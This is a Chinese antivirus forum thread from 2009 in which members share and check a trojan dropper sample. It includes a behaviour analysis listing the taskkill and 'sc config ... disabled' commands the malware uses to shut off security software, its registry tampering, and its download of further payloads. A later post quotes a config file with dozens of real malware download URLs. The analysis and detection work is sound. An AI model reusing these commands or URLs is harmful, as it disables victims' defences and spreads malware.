20090329 卡巴高启发1个

littlecho

Kaspersky
Internet Security 2009
拒絕存取
無法擷取要求的網址

當試著擷取網址：

http://d1.741239.com/01/g1.exe

發生以下錯誤：

要求的物件感染下列病毒： Trojan.Win32.AntiAV.asq


若您認為這不正確，請連絡服務供應商。
產生於：
Mon Mar 30 04:22:54 2009
Kaspersky Internet Security 2009

ledled

Name: Packed/Upack
Type: Sequence

Description:


Files:
c:\users\administrator\desktop\g1.exe

will

MD5 Hash:       0e1406899b6101fb28e65286f7171f1c
Behavior:       1.g1.exe创建以下文件:
                    %Windir%\system32\killdll.dll
                    %Windir%\system32\updater.exe
                2.g1.exe调用Rundll32.exe加载killdll.dll
                    (1)rundll32.exe获取Debug权限,创建以下文件:
                        %Windir%\system32\drivers\aec.sys
                        %Windir%\system32\drivers\asyncmac.sys
                    (2)rundll32.exe修改IFEO,劫持瑞星、江民、卡巴、金山、McAfee、赛门铁克、Eset等一些杀毒软件软件，以及QQ医生、AnriARP等安全软件
                    (3)rundll32.exe调用cmd.exe,执行以下命令,关闭一些安全软件的进程,禁用一些安全软件的服务:
                        taskkill /f /t /im avp.exe
                        taskkill /im ekrn.exe /f
                        taskkill /im avp.exe /f
                        sc config VSSERV start= disabled
                        sc config scan start= disabled
                        sc config LIVESRV start= disabled
                        sc config XCOMM start= disabled
                        sc config Mcshield start= disabled
                        sc config mcmscsvc start= disabled
                        sc config McShield start= disabled
                        sc config McProxy start= disabled
                        sc config MpfService start= disabled
                        sc config McNASvc start= disabled
                        sc config avp start= disabled
                        sc config ekrn start= disabled
                        sc config RavCCenter start= disabled
                        sc config RsRavMon start= disabled
                        sc config RavTray start= disabled
                        sc config RsScanSrv start= disabled
                        sc config RavTask start= disabled
                    (4)rundll32.exe删除以下注册表项下所有值:
                        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
                        HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\protected\AVP8\CKAHUM\LastSet
                3.g1.exe运行updater.exe
                    (1)updater.exe创建注册表值:
                        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
                        Ferrari=%Windir%\system32\scvhost.exe
                    (2)updater.exe访问http://g.sf2652.com/xfz.txt,下载其中的恶意软件,保存到%temp%\1*******_xeex.exe,并运行
                4.g1.exe自删除
Category:       TrojanDropper
Danger Index: ★★★★☆

小小爬蔷虎

nod32 3.0 3月29日病毒库 miss

Sebastian

原帖由 will 于 2009-3-30 11:05 发表
MD5 Hash:       0e1406899b6101fb28e65286f7171f1c
Behavior:       1.g1.exe创建以下文件:
                    %Windir%\system32\killdll.dll
                    %Windir%\system32\updater.exe
          ...

[file]
url0=
url1=http://u8.ggov88.com/sb/ko.exe
url2=http://u1.ggov88.com/la/L2.exe
url3=http://u1.ggov88.com/la/L3.exe
url4=http://u1.ggov88.com/la/L4.exe
url5=http://u1.ggov88.com/la/L17.exe
url6=http://u2.ggov88.com/lm/S8.exe
url7=http://u2.ggov88.com/lm/S10.exe
url8=http://u2.ggov88.com/lm/S1.exe
url9=http://u2.ggov88.com/lm/S3.exe
url10=http://u2.ggov88.com/lm/S15.exe
url11=http://u2.ggov88.com/lm/S9.exe
url12=http://u3.ggov88.com/gz/G3.exe
url13=http://u3.ggov88.com/gz/G10.exe
url14=http://u3.ggov88.com/gz/G1.exe
url15=http://u3.ggov88.com/gz/G5.exe
url16=http://u3.ggov88.com/gz/G31.exe
url17=http://u3.ggov88.com/gz/G4.exe
url18=http://u3.ggov88.com/gz/G36.exe
url19=http://u3.ggov88.com/gz/G37.exe
url20=http://u3.ggov88.com/gz/G35.exe
url21=http://u3.ggov88.com/gz/G33.exe
url22=http://u3.ggov88.com/gz/G32.exe
url23=http://u3.ggov88.com/gz/G14.exe
url24=http://u3.ggov88.com/gz/G15.exe
url25=http://u3.ggov88.com/gz/G11.exe
url26=http://u3.ggov88.com/gz/G12.exe
url27=http://u3.ggov88.com/gz/G9.exe
url28=http://u9.ggov88.com/cj/1a.exe
url29=http://u9.ggov88.com/cj/a2.exe
url30=http://u9.ggov88.com/cj/a10.exe
url31=http://u9.ggov88.com/cj/a6.exe
url32=http://u9.ggov88.com/cj/csj1.exe
url33=http://u9.ggov88.com/cj/q1.exe
url34=http://u9.ggov88.com/cj/q2.exe
url35=http://u9.ggov88.com/cj/a8.exe
count=36


红伞miss1

上雕的口

看不懂，，上面都是牛人

328397663

15楼

csj1.exe - Trojan-Downloader.Win32.Agent.bpsl

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

看不懂，书读的少。